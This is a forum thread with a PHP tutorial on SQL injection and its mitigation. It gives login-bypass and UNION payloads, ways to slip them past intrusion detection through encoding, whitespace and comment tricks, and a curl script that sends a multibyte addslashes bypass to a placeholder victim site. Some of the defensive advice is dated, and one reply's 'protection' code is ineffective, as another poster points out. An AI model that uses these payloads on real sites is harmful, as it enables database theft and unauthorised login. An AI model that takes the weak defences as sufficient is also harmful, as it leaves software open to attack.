SQL Injection

Collapse
X
  • Filter
  • Time
  • Show
Clear All
new posts

  • SQL Injection

    SQL Injection Types

    There are a number of categorized SQL injection types that can be executed with a web-browser. They are:
    Poorly Filtered Strings
    Incorrect Type Handling
    Signature Evasion
    Filter Bypassing
    Blind SQL Injection

    Poorly Filtered Strings

    SQL injections based on poorly filtered strings are caused by user input that is not filtered for escape characters. This means that a user can input a variable that can be passed on as an SQL statement, resulting in database input manipulation by the end user.

    Code that is vulnerable to this type of vulnerability might look something like this:
    PHP Code:
    $pass $_GET['pass'];
    $password mysql_query("SELECT password FROM users WHERE password = '"$pass "';"); 
    The query above is an SQL call to SELECT the password from the users database, with the password value being that of $var. If the user were to input a password that was especially designed to continue the SQL call, it may result in results that were not aforethought. An injection for this may look something like:
    PHP Code:
    ' OR 1 = 1 /* 
    Inserting the above into the form will result in the query being extended with an OR statement, resulting in a final query of:
    PHP Code:
    SELECT password FROM users WHERE password '' OR /* 
    Because of the OR statement in the SQL query, the check for password = $var is insignificant as 1 does equal 1, thus the query will return TRUE, resulting in a positive login.

    Incorrect Type Handling
    Incorrect type handling based SQL injections occur when an input is not checked for type constraints. An example of this would be an ID field that is numeric, but there is no filtering in place to check that the user input is numeric. is_numeric() should always be used when the field type is explicitly supposed to be a number. An example of code that will not be subject to incorrect type handling injection is:
    PHP Code:
    (is_numeric($_GET['id'])) ? $id $_GET['id'] : $id 1;
    $news mysql_query"SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" ); 
    The above code checks that $_GET['id'] is a number, if TRUE returns $id = $_GET['id'], and if FALSE sets $id to 1. This kind of filtering will assure that the ID field is always numeric.

    Different Encoding

    Signature evasion can be made possible with a number of encoding tricks.
    One basic and common encoding trick is the use of URL encoding. URL encoding would change an injection string that would normally look like the following:
    PHP Code:
    NULL OR 1/* 
    To a URL encoded string that would be masked as:
    PHP Code:
    NULL+OR+1%3D1%2F%2A 
    Thus the installed IDS system may not register the attack, and the signature will be evaded.

    White Space Multiplicity

    As common signature databases check for strings such as "OR " (OR followed by a space), it is possible to evade these signatures using different spacing techniques. These techniques can be the use of tabs, new lines/carriage return line feeds, and a variety of other white spaces.

    If a signature is checking for OR followed by a space, it is possible to insert a new line as a space, which would be possible using the %0a value within a URL bar. Thus an injection that would normally look like:
    PHP Code:
    NULL OR 'value'='value'/* 
    The whitespace within the injection would be replaced by a new line, looking like:
    PHP Code:
    NULL%0aOR%0a'value'='value'/* 
    Would now appear to the server as:
    PHP Code:
    NULL
    OR
    'value'='value'/* 
    The above string would then bypass the intrusion detection/prevention system and be executed within the MySQL server.

    Arbitrary String Patterns

    In MySQL, comments can be inserted into a query using the C syntax of /* to start the comment, and */ to end the comment. These comment strings can be used to evade signature detection of common words such as UNION, or OR. The following injection pattern may be picked up by an IDS:
    PHP Code:
    NULL UNION ALL SELECT user,passFROM user_db WHERE user LIKE '%admin%/* 
    However, the same IDS may not detect the injection if keywords were commented as follows:
    PHP Code:
    NULL/**/UNION/**/ALL/**/SELECT/**/user,pass,/**/FROM/**/user_db/**/WHERE/**/uid/**/=/*evade*/'1'// 
    The above breaks up keywords that an IPS such as Apache's mod_security would normally detect, allow the SQL injection attack to parse, and database tables to be read. Of course, an IDS will be able to check for strings of /* and */, however, a lot of sites, including blogging sites, pastebins, news sites etc may need to use C commenting blocks, resulting in a false positive.

    Filter Bypassing
    PHP Code:
    <?php
    $url     
    "http://www.victimsite.com/login.php";
    $ref     "http://www.victimsite.com/index.php";
    $session "PHPSESSID=abcdef01234567890abcdef01";

    $ch      curl_init();
    curl_setopt$chCURLOPT_URL,            $url     );
    curl_setopt$chCURLOPT_REFERER,        $ref     );
    curl_setopt$chCURLOPT_RETURNTRANSFERTRUE     );
    curl_setopt$chCURLOPT_COOKIE,         $session );
    curl_setopt$chCURLOPT_POST,           TRUE     );
    curl_setopt$chCURLOPT_POSTFIELDS,     "username=" .
                                              
    chr(0xbf) . chr(0x27) .
                                              
    "OR 1=1/*&submit=1" );
    $data curl_exec$ch );
    print( 
    $data );
    curl_close$ch );
    ?>
    The CURLOPT_POSTFIELDS line sets the characters to be passed as multi-byte characters, and finishes the statement with OR 1=1/*, thus creating an injection that will bypass the addslashes() and/or magic_quotes_gpc checking.

    SQL Injection Mitigation

    There are a number of ways to prevent MySQL injections within PHP. The most common ways are using functions such as addslashes() and mysql_real_escape_string().

    addslashes()

    addslashes() will return a string with a backslash before characters that need to be sanitized in database queries. These characters are single quotes (' = \') double quotes (" = \") and the nullbyte (%00 = \0).

    addslashes() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:
    PHP Code:
    $id addslashes$_GET['id'] );
    $query 'SELECT username FROM users WHERE id = ' $id
    However, if the script looked something like the following, addslashes() would prevent an SQL injection:
    PHP Code:
    $uname addslashes$_GET['id'] );
    $query 'SELECT username FROM users WHERE id = "' $uname '"; 
    mysql_real_escape_string()

    mysql_real_escape_string() is a little bit more powerful than addslashes() as it calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a.

    As with addslashes(), mysql_real_escape_string() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:
    PHP Code:
    $uname mysql_real_escape_string$_GET['id'] );
    $query 'SELECT username FROM users WHERE id = ' $uname
    However, if the script looked something like the following, mysql_real_escape_string() would prevent an SQL injection:
    PHP Code:
    $uname mysql_real_escape_string$_GET['id'] );
    $query 'SELECT username FROM users WHERE id = "' $uname '"; 
    is_numeric()

    PHP's is_numeric() function can be used to check if a query is numeric or not, and return TRUE or FALSE. This function can be used to prevent SQL injections where the $id integer is called. The following is an example of the use of is_numeric() to prevent SQL injection:
    PHP Code:
    $id $_GET['id'];
    is_numeric$id ) ? TRUE FALSE ); 
    sprintf()

    sprintf() can be used with conversion specifications to ensure that the dynamic argument is treated the way it's suppose to be treated. For example, if a call for the users ID number were in the string, %d would be used to ensure the argument is treated as an integer, and presented as a (signed) decimal number. An example of this is as follows:
    PHP Code:
    $id $_GET['id'];
    $query sprintf("SELECT username FROM users WHERE id = '%d' "$id); 
    htmlentities($var, ENT_QUOTES)

    htmlentities() in conjunction with the optional second quote_style parameter, allows the use of ENT_QUOTES, which will convert both double and single quotes. This will work in the same sense as addslashes() and mysql_real_escape_string() in regards to quotation marks, however, instead of prepending a backslash, it will use the HTML entity of the quotation mark.

    In addition to using ENT_QUOTES within htmlentities(), a third parameter can be set which forces the use of a character set within conversion. This will help stop unpredicted results from using multibyte characters in character sets such as BIG5 and GPK.

    The following is an example of code which would help to prevent SQL injection in PHP.
    PHP Code:
    $id $_GET['id'];
    $id htmlentities$idENT_QUOTES'UTF-8' );
     
    $query 'SELECT username FROM users WHERE id = "' $id '"'
    SQL_Injection

    ---

    Take note for writing queries, even in this tutorial numbers in queries are quoted like string:
    PHP Code:
    $query 'SELECT username FROM users WHERE id = "' $id '"'
    ... where it should be:
    PHP Code:
    $query 'SELECT username FROM users WHERE id = ' $id ''
    thats why are multibytes passed.
    Last edited by arnage; 16.02.12, 14:55.

  • #2
    If we're on that chapter and I can provide protection against SQL injection
    PHP Code:
    function connectdb()
    {
    global 
    $dbname$dbuser$dbhost$dbpass;
    $conms = @mysql_connect($dbhost,$dbuser,$dbpass); //connect mysql
    if(!$conms) return false;
    $condb = @mysql_select_db($dbname);
    if(!
    $condb) return false;

    global 
    $_SERVER$HTTP_USER_AGENT$HTTP_X_DEVICE_USER_AGENT;
    $HTTP_USER_AGENT mysql_real_escape_string($HTTP_USER_AGENT);
    $HTTP_X_DEVICE_USER_AGENT mysql_real_escape_string($HTTP_X_DEVICE_USER_AGENT);
    $_SERVER["HTTP_USER_AGENT"] = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
    $_SERVER["HTTP_X_DEVICE_USER_AGENT"] = mysql_real_escape_string($_SERVER["HTTP_X_DEVICE_USER_AGENT"]);

    return 
    true;


    Comment


    • #3
      Originally posted by ionutz View Post
      If we're on that chapter and I can provide protection against SQL injection
      PHP Code:
      function connectdb()
      {
      global 
      $dbname$dbuser$dbhost$dbpass;
      $conms = @mysql_connect($dbhost,$dbuser,$dbpass); //connect mysql
      if(!$conms) return false;
      $condb = @mysql_select_db($dbname);
      if(!
      $condb) return false;

      global 
      $_SERVER$HTTP_USER_AGENT$HTTP_X_DEVICE_USER_AGENT;
      $HTTP_USER_AGENT mysql_real_escape_string($HTTP_USER_AGENT);
      $HTTP_X_DEVICE_USER_AGENT mysql_real_escape_string($HTTP_X_DEVICE_USER_AGENT);
      $_SERVER["HTTP_USER_AGENT"] = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
      $_SERVER["HTTP_X_DEVICE_USER_AGENT"] = mysql_real_escape_string($_SERVER["HTTP_X_DEVICE_USER_AGENT"]);

      return 
      true;


      Only protect on user-agent ?

      Comment


      • #4
        Yes this code only protects users and they can not enter illegally in the database:D

        Comment


        • #5
          Originally posted by ionutz View Post
          If we're on that chapter and I can provide protection against SQL injection
          PHP Code:
          function connectdb()
          {
          global 
          $dbname$dbuser$dbhost$dbpass;
          $conms = @mysql_connect($dbhost,$dbuser,$dbpass); //connect mysql
          if(!$conms) return false;
          $condb = @mysql_select_db($dbname);
          if(!
          $condb) return false;

          global 
          $_SERVER$HTTP_USER_AGENT$HTTP_X_DEVICE_USER_AGENT;
          $HTTP_USER_AGENT mysql_real_escape_string($HTTP_USER_AGENT);
          $HTTP_X_DEVICE_USER_AGENT mysql_real_escape_string($HTTP_X_DEVICE_USER_AGENT);
          $_SERVER["HTTP_USER_AGENT"] = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
          $_SERVER["HTTP_X_DEVICE_USER_AGENT"] = mysql_real_escape_string($_SERVER["HTTP_X_DEVICE_USER_AGENT"]);

          return 
          true;


          This is not any protection, its just a bunch of deprecated globals mixed with sql connect function where it shouldn't be there.
          Please check snippets before posting it, don't just copy-paste some "codes".
          Last edited by arnage; 16.02.12, 10:22.

          Comment


          • #6
            Hey Dude Is
            Code:
            mysql_real_escape_string()
            Can Be Bypass ?

            Comment


            • #7
              The answer on that question so as solution is in this post.

              Comment


              • #8
                thxxxx its very use full for new wapmster!!

                Comment

                Working...
                X